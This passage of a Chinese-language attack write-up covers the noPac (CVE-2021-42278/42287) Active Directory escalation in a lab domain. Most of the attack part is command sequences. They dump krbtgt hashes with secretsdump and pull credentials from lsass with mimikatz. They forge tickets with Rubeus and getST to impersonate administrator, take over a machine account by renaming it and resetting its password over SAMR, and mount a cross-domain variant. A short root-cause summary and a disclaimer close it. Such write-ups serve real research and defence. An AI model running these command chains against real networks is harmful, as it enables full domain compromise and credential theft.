python3 secretsdump.py ad01.xie.com -k -no-pass -just-dc-user krbtgt
```
如下图,可以看到针对普通域用户hack也可以发起类似的攻击!
11:跨域攻击
这里有三个域,一个是xie.com父域,另外两个是beijing.xie.com和shanghai.xie.com子域,如下:
- 根域:xie.com
- 根域域控:AD.xie.com
- 子域:shanghai.xie.com
- 子域域控:SH-AD.shanghai.xie.com
- 子域普通域用户:sh_hack P@ss1234
首先在根域xie.com上,执行如下命令将域管理员administrator的altSecurityIdentities设置为Kerberos:sh_hack@shanghai.xie.com。
```python
Import-Module .\powerview.ps1
Set-DomainObject administrator -domain xie.com -set @{'altSecurityIdentities'='Kerberos:sh_hack@shanghai.xie.com'}
Get-DomainObject administrator -domain xie.com -Properties * | select altSecurityIdentities
```
正常情况下,在子域shanghai.xie.com内是无法导出根域xie.com域内哈希的,如下:
```python
mimikatz.exe "lsadump::dcsync /domain:xie.com /user:xie\krbtgt /csv" "exit"
```
如下,在子域shanghai.xie.com上请求一个不要PAC的TGT认购权证。
```python
Rubeus.exe asktgt /user:sh_hack /password:P@ss1234 /domain:shanghai.xie.com /dc:SH-AD.shanghai.xie.com /nowrap /ptt /nopac
```
然后利用这个TGT认购权证向根域控ad.xie.com请求根域控的ldap/ad.xie.com服务。此时,由于在根域内并没有sh_hack用户,因此根域域控会查找sh_hack$用户,还未找到。根域域控会查找altSecurityIdentities属性带有sh_hack的用户,此时找到了根域administrator用户。此时根域域控会
会生成一张根域administrator用户权限的PAC放到ST服务票据中返回。
```python
Rubeus.exe asktgs /service:ldap/ad.xie.com /dc:ad.xie.com /nowrap /ptt /ticket:上一步请求的无PAC的TGT认购权证
```
因此,在子域shagnhai.xie.com内可以利用根域administrator用户的ST服务票据导出根域内任意用户的哈希了。
12:针对MAQ为0时的攻击
如果目标域针对ms-DS-MachineAccountQuota属性进行了设置,将其修改为0。
此时,普通域用户将无法新建机器用户。如下图所示,直接报错!
那么,针对MAQ为0这种场景,我们需要怎么利用呢?我们这里的想法是针对域内已经存在的机器帐户加以利用。
如下,我们以已经加入域的Win10机器为例。通过查询Win10机器的ACL发现,除了默认的域管理员等高权限用户外,只有hack用户对其具有修改saMAccountName属性的权限,就连win10$机器账号自身都无权限修改saMAccountName属性。
如下,使用win10$机器账号修改自身的mS-DS-CreatorSID属性,提示无有效访问权限。
```python
python3 renameMachine.py -current-name 'win10$' -new-name 'AD01' -dc-ip AD01.xie.com "xie.com/win10$" -hashes 3db5e5e43b3b260de0b058d9b82523fe:3db5e5e43b3b260de0b058d9b82523fe
```
但是使用hack用户修改Win10$机器帐号的mS-DS-CreatorSID属性,提示修改成功。如下图:
```python
python3 renameMachine.py -current-name 'win10$' -new-name 'AD01' -dc-ip AD01.xie.com "xie.com/hack:P@ss1234"
```
那么,为什么普通域用户hack对其具有修改saMAccountName属性的权限呢?我们第一猜想是hack用户将win10机器加入域的。
于是通过如下命令查询win10机器的mS-DS-CreatorSID属性,并查询SID对应的用户,果然证实了我们的猜想。hack用户是将win10机器加入域的账号。
```python
#查询所有机器账号的mS-DS-CreatorSID属性
AdFind.exe -f "&(objectcategory=computer)(name=win10)" mS-DS-CreatorSID
#查询SID对应的用户
AdFind.exe -sc adsid:S-1-5-21-1313979556-3624129433-4055459191-1154 -dn
```
于是乎,我们可以针对域内已经存在的机器进行利用了。针对这种利用方式,有两种可能性:
1. 获取到域内已经存在的机器权限
2. 获取到将机器加入域的用户权限
获取到域内已经存在的机器权限
如下,获得域内普通机器win10的最高权限,通过执行如下命令dump哈希。
```python
mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" "exit" > pass.txt
```
如下NTLM字段是机器账号win10$的密码哈希,因此我们可以利用这个密码哈希进行后续认证操作。
```python
3db5e5e43b3b260de0b058d9b82523fe
```
通过如下命令查询win10机器的mS-DS-CreatorSID属性,并查询SID对应的用户,发现是hack用户将win10机器加入域的。
```python
#查询所有机器账号的mS-DS-CreatorSID属性
AdFind.exe -f "&(objectcategory=computer)(name=win10)" mS-DS-CreatorSID
#查询SID对应的用户
AdFind.exe -sc adsid:S-1-5-21-1313979556-3624129433-4055459191-1154 -dn
```
此时,要想进行后续利用的话,需要获得hack用户的权限。这里假设我们已经获得hack用户的密码为P@ss1234。
通过如下命令查询机器账号win10$的SPN,可以看到有6条SPN
```python
python3 addspn.py -u 'xie.com\win10$' -p 3db5e5e43b3b260de0b058d9b82523fe:3db5e5e43b3b260de0b058d9b82523fe -t 'win10$' -q 10.211.55.4
```
需要清除机器账号win10$的SPN,可以通过win10$账号自身的权限进行清除,如下命令:
```python
#清除win10$的SPN
python3 addspn.py -u 'xie.com\win10$' -p 3db5e5e43b3b260de0b058d9b82523fe:3db5e5e43b3b260de0b058d9b82523fe -t 'win10$' -c 10.211.55.4
```
接着,我们利用hack用户来修改win10机器的mS-DS-CreatorSID属性。然后后续步骤和之前一样,如下:
```python
#将机器用户win10$的saMAccountName属性修改为AD01
python3 renameMachine.py -current-name 'win10$' -new-name 'AD01' -dc-ip AD01.xie.com xie.com/hack:P@ss1234
#以win10用户身份请求TGT认购权证,用户名为saMAccountName属性值
python3 getTGT.py -dc-ip AD01.xie.com xie/ad01 -hashes 3db5e5e43b3b260de0b058d9b82523fe:3db5e5e43b3b260de0b058d9b82523fe
#导入TGT认购权证
export KRB5CCNAME=ad01.ccache
#将机器用户win10的saMAccountName属性恢复为win10$
python3 renameMachine.py -current-name 'AD01' -new-name 'win10$' -dc-ip AD01.xie.com xie.com/hack:P@ss1234
#用上一步的TGT认购权证,以administrator的身份请求访问ad01.xie.com的cifs服务
python3 getST.py -spn cifs/ad01.xie.com xie/ad01@10.211.55.4 -no-pass -k -dc-ip 10.211.55.4 -impersonate administrator -self
#导入ST服务票据
export KRB5CCNAME=administrator.ccache
#导出域内krbtgt用户哈希
python3 secretsdump.py ad01.xie.com -k -no-pass -just-dc-user krbtgt
```
获取到将机器加入域的用户权限
如下,获得域内普通用户hack的权限,得到其密码为:P@ss1234。
执行如下命令,先查询hack用户对应的SID,再查询mS-DS-CreatorSID属性为该SID的机器。该机器就是hack用户加入域的机器。如下图执行结果可以看到,Win10机器是hack用户加入域的。
```python
#查询hack用户对应的sid
AdFind.exe -sc u:hack objectSid
#查询mS-DS-CreatorSID属性为指定SID的机器
AdFind.exe -f "&(objectcategory=computer)(mS-DS-CreatorSID=S-1-5-21-1313979556-3624129433-4055459191-1154)" -dn
```
但是此时我们并没有获取到win10机器的权限,那么该如何操作呢?我们关注到后期并不需要win10机器的机器权限,只需要win10$这个机器的账号密码即可。因此,我们可以通过hack用户利用SAMR协议远程修改Win10$机器账号的密码,这样我们后续就能控制win10$这个机器账号了。
**修改机器账号哈希**
如下,我们通过mimikaktz利用SAMR协议调用SamrSetInformationUser接口来重置机器账号win10$的密码为123456。
```python
mimikatz.exe
#重置机器账号win10$的密码为123456
lsadump::SETNTLM /server:10.211.55.4 /user:win10$ /password:123456
```
**攻击利用**
然后就可以后续利用了!
通过如下命令查询机器账号win10$的SPN,可以看到有6条SPN。
```python
python3 addspn.py -u 'xie.com\win10$' -p 123456 -t 'win10$' -s aa/aa -q 10.211.55.4
```
然后需要清除机器账号win10$的SPN,可以通过win10$账号自身的权限进行清除。此时win10$机器账号密码为123456,可以使用如下命令进行清除:
```python
#清除win10$的SPN
python3 addspn.py -u 'xie.com\win10$' -p 123456 -t 'win10$' -c 10.211.55.4
```
接着,我们利用hack用户来修改win10机器的mS-DS-CreatorSID属性。然后后续步骤和之前一样,如下,可以看到攻击成功!
```python
#将机器用户win10$的saMAccountName属性修改为AD01
python3 renameMachine.py -current-name 'win10$' -new-name 'AD01' -dc-ip AD01.xie.com xie.com/hack:P@ss1234
#以win10用户身份请求TGT认购权证,用户名为saMAccountName属性值
python3 getTGT.py -dc-ip AD01.xie.com xie/ad01:123456
#导入TGT认购权证
export KRB5CCNAME=ad01.ccache
#将机器用户win10的saMAccountName属性恢复为win10$
python3 renameMachine.py -current-name 'AD01' -new-name 'win10$' -dc-ip AD01.xie.com xie.com/hack:P@ss1234
#用上一步的TGT认购权证,以administrator的身份请求访问ad01.xie.com的cifs服务
python3 getST.py -spn cifs/ad01.xie.com xie/ad01@10.211.55.4 -no-pass -k -dc-ip 10.211.55.4 -impersonate administrator -self
#导入ST服务票据
export KRB5CCNAME=administrator.ccache
#导出域内krbtgt用户哈希
python3 secretsdump.py ad01.xie.com -k -no-pass -just-dc-user krbtgt
```
但是现在并没有结束,由于我们修改了Win10$机器账号的哈希,这将导致Win10机器账号在活动目录中的密码和在本地注册表以及lsass进程中的密码不一致,这将导致win10机器重启后无法开机、脱域等情况!如下图,分别是Win10$机器账号在活动目录中的哈希和lsass进程中的哈希,可以看到不一致!
**获得机器账号原始哈希**
首先我们需要获得win10$机器账号的原始哈希,这里有两种方法:
**方式一**
在目标win10机器上执行这三个命令,将注册表中的信息导出这三个文件。
```python
reg save HKLM\SYSTEM system.save
reg save HKLM\SAM sam.save
reg save HKLM\SECURITY security.save
```
将刚刚保存的三个文件放到impacket的examples目录下,执行如下命令,使用secretsdump.py提取出文件里面的hash。如下,$MACHINE.ACC后面的3db5e5e43b3b260de0b058d9b82523fe就是原来的机器哈希。
```python
python3 secretsdump.py -sam sam.save -system system.save -security security.save LOCAL
```
**方式二**
在目标win10机器上使用mimikatz的sekurlsa::logonpassword模块从lsass.exe进程里面抓取win10$机器账号的原始哈希。
```python
mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" "exit"
```
**恢复机器账号原始哈希**
然后再次使用mimikaktz利用SAMR协议调用SamrSetInformationUser接口来重置机器账号win10$的密码哈希为原值,如下图:
```python
mimikatz.exe
#重置win10$机器账号的哈希为原值
lsadump::SETNTLM /server:10.211.55.4 /user:win10$ /ntlm:3db5e5e43b3b260de0b058d9b82523fe
```
再次查询活动目录中win10$机器账号的哈希,可以看到还原了!
原理总结
首先,这个洞最深层次的原因是KDC在处理UserName字段时的问题,而后结合两种攻击链针对域内和跨域进行攻击。
- 当针对域内攻击时,结合了CVE-2021-42278漏洞来修改机器用户的saMAccountName属性,让KDC找不到用户,走进处理UserName的逻辑。 然后再利用KDC在处理S4U2Self时的逻辑问题(不校验发起S4U2Self请求的用户是否具有权限发起S4U2Self请求)以及重新生成PAC的这一特性来进行攻击。
- 当针对跨域攻击时,其实意义不大。因为需要修改其他域内高权限用户的altSecurityIdentities属性,而默认是没有权限修改的,只有根域管理员或者其他域的域管理员才有权限修改。当跨域TGS请求时,目标域控在活动目录数据库内是找不到其他域的用户的,因此走进处理UserName的逻辑。然后再利用跨域TGS-REQ请求时的处理逻辑(如果TGT票据中没有PAC,则重新生成)这一特性来进行攻击的。
综上所述,这个洞刚开始叫nopac其实就是针对跨域时的攻击,实战意义不大。针对域内攻击更有效,下图是域内攻击链的逻辑处理图:
注:本文只做漏洞原理分析,只做技术交流,切勿用于非法用途。
作者:谢公子@深信服深蓝攻防实验室